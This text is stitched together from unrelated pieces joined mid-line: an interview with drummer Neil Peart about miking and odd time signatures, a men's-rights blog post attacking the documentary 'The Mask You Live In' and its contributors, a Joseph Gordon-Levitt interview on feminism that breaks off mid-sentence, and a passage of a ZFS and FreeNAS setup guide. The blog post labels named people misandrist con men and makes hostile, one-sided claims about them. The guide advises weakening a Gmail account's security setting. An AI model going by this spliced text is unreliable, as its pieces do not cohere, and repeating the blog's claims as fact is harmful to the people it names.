NP: Yes. The Evans heads have a nice attack which gives a good bite from the drums. At the same time you never lose the note. I play with a lot of open drums, open concert toms. But my front toms and my floor toms are all closed with heads on the bottom. I never lose the note on account of that. With certain types of acoustical surroundings, open drums just lose everything, all you hear is a smack. I get that with my concert toms. I hear that with other drummers. If you're in a particularly flat hall, or if the stage area is particularly dead, it kills the note of the drums. I think it's easier to get a good sound with open drums. I've been talking to people about this lately, and developing a theory. I think that perhaps, especially with miking, it's easier to get a good sound with open drums. But I think that a better sound can be achieved with closed drums. A more consistent sound. I think that over a range of hundreds of different acoustical surroundings, closed drums have a better chance of sounding good more often. That's just a theory. It depends on a number of things of course. I open up my bass drums in the studio, but I leave the toms closed.
CI: Yet for your live performance, I see you have left both heads on the bass drums. Why?
NP: I think I get a rounder note, and a more consistent bass drum sound. And our sound man's happy with both heads on. We just have a small hole in the front head and a microphone right inside.
CI: I noticed you use a microphone under your snare drum.
NP: Yes, I use an under snare mike for the monitors only. Which Ian doesn't use out front. I don't use the over snare mike in the monitors, because I'm getting all of the middle I need out of the drum itself. It's the high end that gets lost in the ambient sound of the rest of the band. The high end gets lost first.
CI: What about in the studio?
NP: In the studio sometimes both, but usually the top.
CI: In the studio, do you use one mike to catch the snare and the hi-hat or is that done separately?
NP: Just one mike on the snare alone, and the hi-hat has a separate mike. It's a logistical thing. We have to go for close miking. Just about everything is individually miked. There are three overheads to cover the cymbals, one separate over head for the China-type. I have a certain set of long, tubular wind chimes that have to be heard at a particular point so they have a mike. There's a mike for the tympani, there's two mikes for the orchestra chimes and they also pick up the crotales. There's also a separate mike for the glockenspiel. If I want to try to inject that much subtlety into our music, the glockenspiel has to be miked closely or it won't exist. It's crucial. Miking is a science that I can't talk about with much conviction. I don't know a lot about it other than a few bits of theory I picked up in the studio. As far as live miking goes, I'm pretty ignorant I must admit. I'm just trying to get my drums to sound good to me, and then it's up to the sound man to make them sound good in the house.
CI: Could you tell me a little about your recent album?
NP: There's quite a variety of things this time. We didn't have any big ideas to work on so it's a collection of small ideas. Individual musical statements. We got into some interesting things, and some interesting constructions too. We built a whole song around a picture. We wanted to build a song around the phenomena called Jacob's ladder, where the rays break through the clouds. I came up with a couple of short pieces of lyrics to set the musical parts up. And we built it all musically trying to describe it cinematically. As if our music were a film. We have a luminous sky happening and the whole stormy, gloomy atmosphere, and all of a sudden these shafts of brilliance come bursting through and we try to create that musically. There's another song called "The Spirit Of Radio." It's not about a radio station or anything, it's really about the spirit of music when it comes down to the basic theme of it. It's about musical integrity. We wanted to get across the idea of a radio station playing a wide variety of music. For instance the "Spirit Of Radio" comes from the radio station at home called CFMY and that's their slogan. They play all great music from reggae to R&B, to jazz to New Wave, everything that's good or interesting. It's a very satisfying radio station to me. They have introduced me to a lot of new music. There are bits of reggae in the song and one of the verses has a New Wave feel to it. We tried to get across all the different forms of music. There are no divisions there. The choruses are very electronic. It's just a digital sequencer with a glockenspiel and a counter guitar riff. The verse is a standard straight ahead Rush verse. One is a new wave, a couple reggae verses, and some standard heavy riffing, and as much as we could possibly get in there without getting redundant. Another song that we also did in there, "Free Will" is a new thing for us in terms of time signatures. I mentioned before that we experiment a lot with time signatures. I get a lot of satisfaction out of working different rhythms and learning to feel comfortable.
CI: What time signatures are you using during this tune?
NP: We work in nearly everyone that I know of that's legitimate. All of the 5's, 7's, 9's, ll's, 13's, and combinations thereof. There were things on the last album that were 21 beat bars by the time they were actually completed. Because they had a 7 and a 6; a 5 and a 4; or 7. 6, 7, 6, 7, 6, 5. I get a tremendous amount of satisfaction making them feel good. I don't think that you have to play in 4/4 to feel comfortable.
CI: How did you develop your understanding of those odd meters?
NP: I remember figuring out some of Genesis' things. That was my first understanding of how time signatures were created. And I'd hear people talking about 7, and 5 and if they played it for me I could usually play along. But I didn't understand. I finally got to understand the principle of the common denominator. Once I understood it numerically I found it really easy to pick up the rhythm. Then you take on something just as a challenge, and turn it into a guitar solo in 1 3/8, and find a way to play that comfortably and make changes. As I would change dynamically through a 4/4 section. There would be certain ways that I would move it, try to apply those same elements to a complicated concept. I think Patrick Moraz put it best. He said, "All the technique you have in the world is still only a method of translating your emotions." So we're coming back with that acquired technique. There's a lot of truth in Moraz's statement because now we're finding out as we have gone through all those, some of them honestly were technical exercises. You have to say that sometimes you get excited about playing something just because it is a difficult thing. And certain times we would get into the technical side of it, but become bored with it. Now we're finding out how to bring those technical ideas back and put them into an exciting framework. We have a song that's almost all in 7 and has some alternating bars of 8 and the chorus that goes into it again is in 4. It's all very natural to play. I can play through the whole song and I don't count once. The only thing I count are pauses. If I'm stopping for 8 beats or something I'll count that off with my foot. But when I'm playing I just don't count, unless I have to, for meter reasons. This is probably a common experience, but slower things for me are the most difficult to keep in meter. If I'm playing really slow straight 4's, I count that, but if I'm playing really fast in 13, I don't dare count, I just play it. We were talking earlier about music taking patterns as a musician. I think it does that. I have a program in my head that represents the rhythmic pattern for a 13, or a 7, or a 5. And I can bring those out almost on command, having spent a lot of time getting familiar with them. It's so exciting when you start to get it right the first few times and you're putting everything you have into it. That's the ultimate joy of creating. That joy is such a short lived thing, most of the time you don't have time to enjoy it. Most times when I write a song the moment of satisfaction is literally a matter of a few seconds. All of a sudden you see it's going to work and you're going to be happy with it, and then bang you're back into working it again. You're thinking how am I going to do this? Whether it's lyrically or musically, the moment of satisfaction is very fleeting.(Alternate Title: We Can See Through Your Disguise: “The Mask You Live In”)
Most of the time, feminists insist they care about men’s issues only when they’re accused of not caring about men’s issues, even if the #feminism tag on their blog belies their claim. There’s a question I and others like to ask feminists who claim feminism helps with men’s issues; name one significant feminist initiative that was primarily or equally about men.
They tend to get rather upset at this point. A perfectly natural response, to attack the person who caused the cognitive dissonance.
Well, their Great White Hope has finally come; an upcoming documentary called “The Mask You Live In”, by Jennifer Siebel Newsom, apparently about men’s gender role, and how men are compelled not to talk about their problems.
I first learned about this via a tumblr post promoting it. Someone had said that some people might think it’s not feminism’s baliwick, and it totally was, guys! Tumblrfems fell all over themselves to go “look at how much we care about men’s issues!” In fact, the posts I saw had them talking more about how much they and feminism cared than actual men’s issues. Which is ironic, in light of many feminists’ insistence that male feminist allies don’t receive any reward for doing what “any decent human” should be doing in the first place.
Though it’s not out yet as I queue this - if Anita Sarkeesian’s production speed is any indication - I feel confident making some predictions.
For example, Jackson Katz is involved. Katz is a male feminist, a self-proclaimed authority on something called “Toxic Masculinity” (IE “Any issues men have are the men’s fault, and they’re still less serious than women’s problems”), professional misandrist con man, and once said, basically, that his problem with the term “gendered violence” was that it didn’t blame men clearly enough. Also consulted is male feminist Michael Kimmel, also a professional misandrist, who wrote a book called Guyland, and was the spokesman for the male pro-feminist organization NOMAS, which pushed for misandric custody laws in California. Both men are PhDs.
Mr. Katz and Mr. Kimmel have a history of being sexist. They also seem to have very little idea of what life is like for most men. There’s something ironic about two well-educated and probably well-off white men talking about the problems of men in general*, especially when they’re the exact demographic normally despised by SJWs for not knowing what life is like for people who aren’t privileged. Mr. Katz has been known to say that men’s emotions are restricted, as well as to say that men should let women speak because women need to be heard - in other words, it’s okay for men to talk about their issues as long as they don’t inconvenience women. Kimmel has expressed similar views, according to that Guyland review.
The documentary is feminist-supported, feminist-created, and views masculinity through a feminist lens, which, as we all know, tends to be more than a little…subjective. It looks suspiciously like a serial numbers filed-off version of Toxic Masculinity, which is itself a serial numbers filed-off version of Patriarchy Theory*. The title is a clue; Mr. Kimmel and Mr. Katz have had as a recurring theme how masculinity compels men into roles they don’t want. This is true, but they focus on the what they believe the parts of men’s gender roles are which harm women. Unless they’re talking about Toxic Masculinity. But that’s another post.
If you look at the track record of the experts listed, three of the five of them are feminists or feminist-sympathetic. Kimmel and Katz, obviously, and Esta Soler is the president of an organization intended to end violence against women and children, which makes her an odd choice for a documentary ostensibly intended to address men’s problems. Niobe Way’s article “Why are boys so violent” doesn’t mention women perpetuating the norms of masculinity she refers to at all. In fact, all of her articles on HuffPo are curiously neutral on that, though I suspect I’m being overly cynical here*. William Pollack’s Wikipedia page for “Real Boys” mentions “toxic conceptions of masculinity”, but he’s worked with Warren Farrell, and his book is recommended by Christina Hoff Summers, and what samples I can find talk about how that women perpetuate gender norms too.
The best part is that the documentary claims to be trying to “[spark] a national conversation around masculinity”. The odd thing is that people who aren’t feminists have been having those conversations for a while now, internationally, and feminism has been doing its best to shout ‘em down and silence them. To the point of actively trying (and sometimes succeeding) to get them censored, and protesting them in real life. In fact, feminists have literally broken the law to try and stop those people being listened to, even when they weren’t MRAs. There is an entire website, Manboobz, dedicated mainly to mocking and misrepresenting MRAs. Either Siebel is really poorly informed, or actively ignoring them, which is odd when her expert Kimmel specifically refers to several of those other folks in Guyland, albeit in a disparing manner. Maybe he just…forgot.
Funny thing; one of the tumblrfems in the tumblr thread made the same mistake of thinking feminism is the only game in town. It’s almost as if she didn’t know a single thing about who’s discussing men’s issues.
If you really want men to talk about their feelings openly to you, feminists, you’re going to have to shut down Manboobz, call out that Lindy West Jezebel article, stop opposing things like the SFU Men’s center, and stop telling men to “man up" yourselves, and that’s just for starters. You’re going to have to stand against the feminists in your own movement who are doing their best to put men in a little box and nail the lid shut. And if the box happens to be a coffin, like Earl Silverman, then it’d really be nice if you admitted that maybe, just maybe, your control over the domestic violence industry might have had something to do with Silverman beating his head against a brick wall for years and eventually having to close the one men’s shelter in Canada down. In short, you have a long way to go before you convince men feminism’s even neutral, much less that you actually want to listen to them.
So, I’m highly certain that the project, at best, is flawed. In fact, if you look at the trailer, all the voices enforcing men’s gender role are male. Strangely enough, Siebel starts the trailer saying she wants to change who her son becomes. She literally says she wants to influence the role he takes, yet implies that men are solely responsible for Toxic Masculinity.
It is certainly odd how feminists seldom discuss the positive aspects of masculinity; even "male privileges” are supposedly things men secured for themselves. It’s odd that so many feminists claim to have changed men’s gender role for the better, but the negative aspects are solely the fault of men. It’s odd how the first initiative to discuss men’s issues feminists widely supported is by feminists, for feminists, and says nothing in the trailer about whether women or feminism are involved in shaping men’s gender role at all, or whether men have any systemic disadvantages compared to women.
But that’s all secondary. My main point is that feminists finally are doing something, however inept, to really address men’s problems.
Oh, what’s that?
Sorry, they’re addressing problems with masculinity, not men. My mistake. I just get the two mixed up sometimes. So, after decades of advocacy, feminism is finally addressing what they say is the toxic male gender role (which is perpetuated, based on implications of the trailer, entirely by men).
Once.
Just once.
I can’t help but wonder how many feminists supported TMYLI largely so they could say that they care about men’s issues. Was this, for them, the equivalent of a businessman giving to charity for tax purposes? Or someone having a Black Best Friend just to say “I’m not racist, my best friend is black!”
Of course, if Anita Sarkeesian is any indication, the documentary will be dissected and exposed for a load of humbug by both feminists and non-feminists in short order. Some folks at Reddit, below, have already taken issue. And, like Anita, its backers - financial or spiritual - won’t care*. Most of the copies, if it ever actually makes it to DVD (Sarkeesian, indication, etc.), will be sold to gender studies departments, feminists, and pretty much no one else.
And, oh, yes, Jennifer never needed the money in the first place.
She lives in a 2.5 million house. Her husband is Gavin Newsom, the Lt. Governor of California, and a businessman worth an estimated, oh, 5 Million bucks. He’s friends and a frequent business partner with billionaire Gordon Getty. He could probably cover the entire film out of his suit budget. And, gosh, she didn’t need a Kickstarter for her previous film, Miss Representation. It’s almost as if the Kickstarter was more about publicity than money.
Feminists, you’ve been Sarkeesianed. Again.
TL:DR; I believe “The Mask You Live” in will almost certainly be an attempt by people with a twisted view of masculinity to sell their beliefs to other people with a twisted view of masculinity. It will be problematic and logically flawed, at best, but nonetheless supported by its, er, supporters. And many feminists will use it as evidence the movement really, truly cares about men’s issues, while completely failing to consider what it says about feminism that it took all this time just to have any initiative mainly about men’s issues, or whether it’s likely they got it right out of the gate.
Place your bets.
PS: Oh, and Michael Kimmel is going to run a $300,000 “Center for the Study of Men and Masculinities” at Stonybrook U. Given what I said about Kimmel earlier, and the press release forgetting or being unaware of other people discussing men’s issues, I’m not holding my breath. Nonetheless, it does count as a second initiative about helping men, and both within the same year, which makes me wonder what’s lit a fire under feminism.
Oddly enough, Earl Silverman managed to get all of a few hundred bucks from the Canadian gov’t over the years he tried and failed to keep his men’s shelter open, while other centers dealing with women had no problem, including a million dollar one. Which means that feminists and allies have no problem talking about men’s issues (on their terms), but actually helping is a lot more rare.
1^ In fairness, you could say the same thing about Dr. Warren Farrell. However, he never got a TED talk where he spent fifteen minutes talking about how men are violent (against women), with no mention whatsoever of how men are also the primary victims of violence as well, despite mentioning that most people who hurt men are also men. He listens and talks to men, he doesn’t set himself on high as an authority and preach down to them from a bully pulpit.
2^ Notably, TM largely ignores or talks around any sort of institutionalized oppression, claiming that men would stop being erased as rape and abuse victims if more men would just speak up, in a stunning example of confusing cause and effect. Similarly, boys failing performance in school is blamed on some sort of imaginary stigma against boys being smart, when the real problem is programs created to prioritize girl’s learning. I mean, I assume the president did his research when he called this sort of thing a “great accomplishment” in Newsweek.
3^ Then again, Anita spent a lot of effort stigmatizing her critics, leading her supporters to dismiss them out of hand. TMYLI seems to have ommitted that step. Mostly by talking only to feminists.
4^ After all, there’s no reason Jennifer can’t just ignore someone if they have a more nuanced viewpoint.
Elsewhere: http://www.reddit.com/r/MensRights/comments/1iai6e/a_new_documentary_entitled_the_mask_you_live_in/
http://www.reddit.com/r/MensRights/comments/1i39pq/the_mask_you_live_in_by_jennifer_siebel_newsom/
Previously:
http://siryouarebeingmocked.tumblr.com/post/55699757913/mynameisianandimaminorthreat-fivetail
http://siryouarebeingmocked.tumblr.com/post/58242323378/permutationofninjas-atomic-blonde
http://permutationofninjas.org/post/58181975652/atomic-blonde-permutationofninjasLast month, I asked Joseph Gordon-Levitt, the gregarious and charming star of films like (500) Days of Summer, Looper, and The Dark Knight Rises, about why he considers himself a feminist.
“What that means to me is that you don’t let your gender define who you are—you can be who you want to be, whether you’re a man, a woman, a boy, a girl, whatever,” said Gordon-Levitt. He also mentioned the “long history of women suffering abuse, injustice, and not having the same opportunities as men,” which he says has been “very detrimental to the human race as a whole.”
His answer, which you can read in full here, went viral. The 33-year-old actor also runs the online collaborative production company hitRECord, which uses crowdsourcing to unite artists around the world in creating various works of art, from short films to books. The first season of hitRECord on TV, a television series airing on Pivot that features the site’s various works, took home a Creative Arts Emmy. While Season 2 is in production, Gordon-Levitt has decided to expand on our interview and base an upcoming episode around the term “feminism,” asking users to upload videos explaining what the word means to them.
“In the interest of furthering this conversation, I want to ask you guys what you think about this: What does that word—feminism—mean to you?” says Gordon-Levitt in a video he posted online.
The Daily Beast spoke to Gordon-Levitt about feminism, why young female stars are shunning the “feminist” label, and why the word “feminism” incites such heated debate.
It’s a really interesting conversation to have these days. A lot of female stars in their early twenties have come out against the “feminist” label, which represents this strange generational gap.
That’s true. I wasn’t aware of it when you and I spoke last, and since then I’ve looked around on the Internet and seen what different people think—both people who are well known, and people who you probably wouldn’t know. It seems to me that it’s mostly an issue of semantics in that it’s the word “feminist” that people don’t like; it’s not any of the principles. People are saying stuff like, “I’m not a feminist, but I believe in equality for both sexes.” So it’s really just an issue of how you define the word, and if people want to use a different word, I think that’s perfectly fine. The reason that I stick with the word “feminist” is that I’m a fan of the tradition of that movement. It’s been a very positive movement for the last hundred or so years.
There are some people who say we don’t need feminism anymore because women and men are now treated equally, and I don’t think that’s true. We’ve come a long way since the term was coined and women weren’t allowed to vote or own property in this country, but that doesn’t mean it’s a simple black-and-white issue. There’s a lot to talk about, and it’s a more nuanced conversation now than it was then, and that’s all the more reason for us to be having these conversations. There are still plenty of tensions and unfair situations that arise more so for women than for men.
There’s a lack of education, too. Your parents were journalists and they passed on their knowledge of the feminist movement on to you, but a lot of these young stars speaking out against it weren’t imparted that knowledge.
Absolutely. And a lot of why it’s important to me has more to do with more subtle, cultural, and interpersonal ways that we relate to one another, whereas in the past, the movement involved huge policy changes like getting the right to vote, getting the right to own property, or getting the right to make one’s own health decisions—and certainly that fight is ongoing, but I think it’s interesting to talk about more subtle things that you can’t legislate, like the way conversations happen. There are all sorts of baggage around being a man, and being a woman. We need to talk about the roles we get assigned based on our gender, and that’s a lot of what Don Jon is about. The two central characters in that movie—that I play and Scarlett [Johansson] plays—are very attached to the dominant cultural norms of what a man is supposed to be, and what a woman is supposed to be, and they both try very hard to live up to what is deemed “normally” masculine and “normally” feminine, and it’s to both their detriments because they’re harboring unrealistic expectations and end up missing out on what life has to offer. Life is more fun when you’re not trying to fit into a mold, but trying to embrace your own unique individuality.
Right. Your character is fed the narrative of the rakish lady-killer, and Scarlett’s is fed that of the princess seeking a fairytale ending.
Exactly. They learned these from their family, friends, and church, but also largely from the media, which teaches us what a woman is supposed to be and what a man is supposed to be, and how a man is supposed to relate to a woman and how a woman is supposed to relate to a man. A lot of what we’re taught in dominant media is pretty narrow-minded and not a recipe for happiness.
The media has also, in my opinion, played a role in helping make the word “feminist” be perceived by some as a dirty word. When you look at young stars who’ve spoken out against being labeled a feminist—Taylor Swift, Lana Del Rey, etc.—a lot of these times it’s a young, female reporter trying to nail a young, female celebrity with the loaded “Are you a feminist?” question. They know that it’s a minefield of a question. It’s another example of women-on-women undermining. There’s rampant male chauvinism as well, don’t get me wrong, but there’s also a lot of women-on-women undercutting, and it only seems to be getting worse. So, people have misinterpreted the word “feminist” to be a dividing word as opposed to a uniting one.
Yeah. I took that away also from reading what different people have said. A lot of people seem to think that feminism is against men, or pits women against men, which is not my perception of it and not what my Mom taught me at all. I get it, and some people say, “I wouldn’t call myself a feminist, I’d call myself a humanist,” and I think that’s a good train of thought. However, I’d again go back to our history and our current state of affairs, which is not an equal one. So, it’s worth acknowledging that one gender has been more oppressed than the other.
Joss Whedon had an interesting take on the word “feminist.” He said, “Ist in its meaning is also a problem for me. Because you can’t be born an ist. It’s not natural. You can’t be born a Baptist; you have to be baptized. You can’t be born an atheist or a communist or a horticulturalist. You have to have these things brought to you. So feminist includes the idea that believing men and women to be equal, believing all people to be people, is not a natural state. That we don’t emerge assuming that everybody in the human race is a human, that the idea of equality is just an idea that’s imposed on us. That we are indoctrinated with it, that it’s an agenda.”
I think that’s interesting. But what the word “feminist” does do is acknowledge the very long history of the women’s rights movement. I agree with what he’s saying: It should just be assumed men and women are equally important and equally capable—but it’s not, and it hasn’t been for thousands of years. So, “feminism” and being a “feminist” is an acknowledgement of that history and the culture we’ve lived in for a long time. It’s a reaction to that, but for me, that’s an important acknowledgement to make.
Right. Women are still treated like second-class citizens in many ways. The first bill President Obama signed into law was the Lilly Ledbetter Fair Pay Act, which called for equal pay among the sexes. The fact that this was only signed into law in 2009 shows you how far we still have to go when it comes to gender inequality.
And a piece of legislation can be a great step, but that’s not going to solve all the problems. There was just another piece of legislation that tried to make more improvements when it comes to equal pay, and that bill was shot down by Republicans. I’m not really a fan of either major political party necessarily so I wouldn’t blame it on the Republicans, but that’s further evidence that things still aren’t perfect, and there’s a lot of work to be done towards gender equality.
What are you hoping to get out of this discussion?
I just think that having the conversation is one of the most productive things that can happen and that, to me, is a lot about the promise of what the Internet can be, and how it can be things that other mediums can’t. If you make a movie or a TV show, all that communication goes one way and isn’t conversational; it’s a monologue, not a dialogue. I think that has a lot to do with various prejudices and narrow-minded pockets of our culture. We see the same thing over and over again on TV, it gets reinforced, and there’s no conversation about it. The heart of hitRECord is about making media in a conversational, positive way. I hope people that are interested in this discussion, whether they agree with me or disagree with me, feel welcome to express themselves and make a video and upload it to our site, and I think we could make some really cool television out of it.
HitRecord is a forum for good, but a lot of pockets of the Internet when it comes to message boards can be pretty hateful towards women. This whole celebrity nude hacking hullabaloo, which exclusively targeted women, emanated from message boards like 4chan and Reddit. Much of the Internet still harbors very backwards views towards women.
Well, any time there’s new, powerful technology, there’s also going to be the avenue that brings out the best in people, and the avenue that brings out the worst in people. When Einstein came up with the Theory of Relativity, he didn’t intend to build bombs. It’s up to our generation to |
sectors per stripe for user data. 256 total sectors divided by 4 sectors per stripe gives us 64 stripes. 64 stripes * 2 parity sectors per stripe give us 128 total parity sectors. 128 parity sectors + 256 sectors give us 384 total sectors, which is divisible by 3, so no padding is needed. As before, everything divides nicely, so changing the recordsize value didn’t change the allocation overhead (which is still 0%) or the overall storage efficiency (still 66.67%):
$$ n_{theoretical}(Ex. 3) = 6 * \frac{256}{6-2} = 384 $$
$$ overhead(Ex. 3) = \left(\frac{384}{384}-1\right) * 100\% = 0\% $$
$$ efficiency(Ex. 3) = \frac{256}{384} * 100\% = 66.67\% $$
Example four will look at the 8-wide RAID-Z2 setup in example 2, but with a recordsize of 1MiB. Again, 1MiB of data represents 1MiB/4KiB = 256 total sectors for user data. We have 6 sectors per stripe for user data, so 256 total sectors divided by 6 sectors per stripe gives us 42.667 sectors. We end up with 42 full stripes and one partial stripe (but as before, all 43 stripes get full parity information). So we have 256 sectors and 43*2 = 86 parity sectors giving us a total of 342 sectors. 342 is divisible by 3, so no padding sectors are required. The only allocation overhead we have is from the partial stripe parity data. Calculating the overhead, we find that:
$$ n_{theoretical}(Ex. 4) = 8 * \frac{256}{8-2} = 341.33 $$
$$ overhead(Ex. 4) = \left(\frac{342}{341.33}-1\right) * 100\% = 0.196\% $$
$$ efficiency(Ex. 4) = \frac{256}{342} * 100\% = 74.85\% $$
Compare that to the results from Example two:
$$ n_{theoretical}(Ex. 2) = 8 * \frac{32}{8-2} = 42.6667 $$
$$ overhead(Ex. 2) = \left(\frac{45}{42.6667}-1\right) * 100\% = 5.469\% $$
$$ efficiency(Ex. 2) = \frac{32}{45} * 100\% = 71.11\% $$
You’ll recall that the only difference between the configuration in examples two and four are the recordsize value. From these results, it is obvious that changing the recordsize from 128KiB to 1MiB in the 8-wide configuration reduced the allocation overhead which in turn increased the overall storage efficiency of the configuration. You may wonder how such a substantial improvement was achieved when the only difference in overhead factors was the one padding sector in the 128KiB configuration (indeed, both configurations required extra parity data for a partial data stripe). It’s important to remember how much data we are storing per block in each configuration as the overhead is “added” to each block; the first configuration required 3 overhead sectors per 128KiB of data stored, while the second configuration required 2 overhead sectors per 1MiB of data stored. The 3 overhead sectors per block in the 128KiB configuration get compounded very quickly when large amounts of data are written. It’s easy to see this effect visually by looking at the diagrams below. Overhead from padding sectors are highlighted in orange and overhead from partial stripe parity data are highlighted in red. The thick black lines separate the data blocks.
Examples One and Two:
Examples Three and Four:
Notice in these diagrams how changing the recordsize on the 6-wide array doesn’t impact allocation overhead; this is because the ZFS configuration aligns with the so-called \(2^n+p\) rule (which states that you should configure your dataset so its stripe width \(w\) is \(2^n+p\) for small-ish values of \(n\)). ZFS datasets that conform to this rule will always line up nicely with the default 128KiB recordsize and have an allocation overhead of 0%. If you’re not interested in fiddling with your dataset’s recordsize value, consider sticking with a configuration that conforms to this rule.
Examining how changing the recordsize value on the 8-wide array impacts the allocation overhead is worth a closer look. The figure below shows examples two and four side-by-side. In example two, notice how the overhead compounds much quicker for a given amount of user data than in example four. Also notice how many total stripes are required to store the given amount of user data in each configuration.
Examples Two and Four:
There are a couple final points I want to make on recordsize tuning before moving on. Determining the amount of data written to a disk by ZFS from a file size isn’t always easy because ZFS commonly employs data compression before making those writes. For example, if you’re hosting a database with 8KiB logical blocks, ZFS will likely be able to compress that 8KiB before it is written to disk. There are disadvantages to increasing recordsize to 1MiB in some applications that deal with only very small files (like databases). For my purposes of storing a lot of big files, setting recordsize to 1MiB is a no-brainer. In terms of tuning stripe width and parity level to optimize performance for your application, the articles linked below provide some excellent information.
Much of the above section is based on a calculation spreadsheet (/u/SirMaster on reddit). I also want to thank to Timo Schrappe (twitter @trytuna) for catching a mistake in the above formula for \(n_{padding}\) as well as some typos! If you’re interested in getting an even deeper understanding of the ZFS inner mechanics, I would encourage you to read the following three articles (all of which were tremendously helpful in writing this section):
ZFS RAIDZ stripe width on Delphix; discusses changing vdev parameters to optimize performance for a given application. This article also inspired the ZFS data block write diagrams in this section.
ZFS Record Size on Joyent; discusses the recordsize parameter and how it controls ZFS data block size (specifically, the maximum data block size).
Tuning ZFS recordsize on the Oracle blog; discusses tuning the recordsize parameter based on I/O size.
Here are links to more general (but still very helpful) guides on tuning ZFS parameters:
Open ZFS Performance tuning guide on The Open ZFS wiki; goes into much more depth on several concepts I covered.
ZFS Tuning Guide on the FreeBSD wiki page; similar to the above link.
ZFS Evil Tuning Guide originally on SolarisInternals; like the above tuning guides but evil... So evil in fact that this link and the one above it have been down recently. [2017 Update:] Added mirrors for this link and the one above.
If you're generally interested in the technical analysis of data systems, you may also enjoy reading through my R2-C2 page, which looks at maximizing the reliability of a RAID system from a purely statistical perspective.
Setting Up the Storage Volumes
[2018 Update:] I wrote a couple of blog posts for iXsystems that examine the mechanics of ZFS pool performance in various layouts. If you're unsure which pool layout would be ideal for your use case, you should check them out. Part 1 can be found here, and part 2 can be found here.
When I first set up my server, I didn’t fully understand recordsize tuning, so I created my main storage dataset with a recordsize of 128KiB (the default value). After doing more research, I realized my mistake and created a second dataset with recordsize set to 1MiB. I set up a second SMB share with this dataset and copied all my data from the 128KiB-based dataset to the 1MiB-based dataset; once all the data was moved over, I wiped the first dataset. The reduction in allocation overhead manifests itself on the share by a reduction in the reported “size on disk” value in Windows (where I have my share mounted). The reduction I saw when copying the same data from the 128KiB dataset to the 1MiB dataset was in line with the ~5% overhead reduction demonstrated above.
The proper way to set everything up would have been to first create a volume (close out of the wizard that pops up when you initially log into FreeNAS for the first time) with the volume manager. Volumes are traditionally named tank, but you can call yours whatever you want (the rest of this guide will assume you’ve named it tank ). Make sure you have the volume layout correct in the volume manager before hitting “Ok”, otherwise you’ll have to destroy the volume and re-create it to change its layout. Once you create the volume, it will create a dataset inside that volume at /mnt/tank (assuming you’ve indeed named your volume tank ). I recommend creating another dataset in this new one (named whatever you want). In this new dataset, I set the recordsize to 1024K as per the discussion above (hit “Advanced Mode” if you don’t see the recordsize option). Make sure compression is set to lz4 (typically its default value). I named my dataset britlib, but you can of course name yours as you please. If you’re interested in tuning the other dataset parameters, check the FreeNAS guide (linked below, or here for the version hosted on freenas.org) for details on what each item does; I left the rest of the parameters at their default values.
After I had my volume and dataset set up, I created a couple of user groups (one for primary users called nas and one for daemons/services called services ) and some users. I set the user home folders to /mnt/tank/usr/<username>, but this is optional (I use my primary user’s home folder to store scripts and logs and stuff). Once you have a primary user account set up (other than root), you can go back and change the permissions on the dataset you created in the previous step so that the new user is the dataset owner:
Open Storage > Volumes > /mnt/tank/ > /mnt/tank/<dataset name> > Change Permissions
Enter the following settings: Apply Owner (user): Checked Owner (user): <primary user you just created> Apply Owner (group): Checked Owner (group): <primary group you just created> Apply Mode: Checked Mode: This is up to you, but I went with R/W/X for Owner and Group and nothing for Other (meaning members of the primary nas group have full access, guests have no access at all) Permission Type: Windows (Unix works fine too, you’ll still be able to edit Windows permissions) Set permission recursively: Checked
Hit “Change” and it will go through and adjust all default permissions in your new dataset. If you ever screw up the permissions and want to set them back to default, come back into this dialogue and repeat the above steps.
Further System Configuration
At this point, you have the basics set up, but there is still a lot to do. Most of the following items are don’t require too much discussion, so I won’t go into as as much depth as I did with previous topics. I recommend reading the relevant section from the FreeNAS user guide while going through these steps. You can access the user guide from your FreeNAS web UI by clicking “Guide” on the left-hand navigation pane (or by going to http://<FreeNAS server IP or host>/docs/freenas.html if you want it in a separate tab). Here was the general process that I took, but you don’t necessarily have to do these in order:
Go to System > System Dataset and select the your new volume as the system dataset pool. By selecting your new volume, you are telling FreeNAS where to store all persistent system data, including debugging core files and Samba4 metadata. If you configure FreeNAS to be a domain controller, then domain controller states will be stored on this volume as well. Note that if you’ve elected to encrypt your new volume, you won’t be able to select it as the system dataset pool. While you’re on this screen, make sure syslog and reporting database are checked. From the FreeNAS user guide: “The system dataset can optionally be configured to also store the system log and Reporting information. If there are lots of log entries or reporting information, moving these to the system dataset will prevent /var/ on the device holding the operating system from filling up as /var/ has limited space.”
Go to System > General and set your timezone. This will make it easier to determine when logged events actually occurred.
Go to System > Advanced and check the following: Enable Console Menu. Enables the console setup menu that is displayed after boot. Show console messages in the footer. This will display logged console events in the FreeNAS web UI footer, useful for general administration and troubleshooting. Show tracebacks in case of fatal errors. From the user guide: “provides a pop-up of diagnostic information when a fatal error occurs”. Show advanced fields by default. This lets you see various advanced fields around the web UI without having to click the “Show advanced” button on every window. (Optinal; I enabled this) Enable autotune. This will generate a bunch of system tunables based on your hardware and system configuration to attempt to optimize overall performance. Generally, the community's opinion on FreeNAS autotune has been mixed in the past, and it may not be a good option in all use cases. More information on autotune is available in the userguide. (Optional; I left this disabled) Enable powerd. powerd monitors the system state and sets the CPU frequency accordingly. You may be interested in this if you want to save on power costs. More info on powerd here.
Enable outbound email. Setting this up allows you to get all sorts of useful automatic notifications from your FreeNAS machine over email. I have it set to send to a dedicated gmail account which forwards all messages to my primary email account. I use a dedicated account for the notifications because the setup requires disabling an account-wide security feature. By default, your system can be on the verbose side, so you may consider setting up a filter. Here’s how to set this up (with gmail): Create a new gmail account. Enable access on this new account from less secure apps (see this link for instructions). On FreeNAS, go to System > Email and enter the following settings: From email: <your new gmail address> Outgoing mail server: smtp.gmail.com Port to connect to: 587 TLS/SSL: TLS Use SMTP Authentication: Checked Username: <your new gmail address> Password/Password confirmation: <password for your new gmail account> Hit “send test email” and wait for a new email in your inbox. Best practice advises you to keep your fingers crossed while waiting for the email to come through; the connection settings can be finicky. If you sucessfully recieve the test email, set your new gmail address to be the email for your root user in FreeNAS. If not, go back and check the parameters you entered and that the security setting is disabled. Set up forwarding/fetch to/from other accounts (if needed).
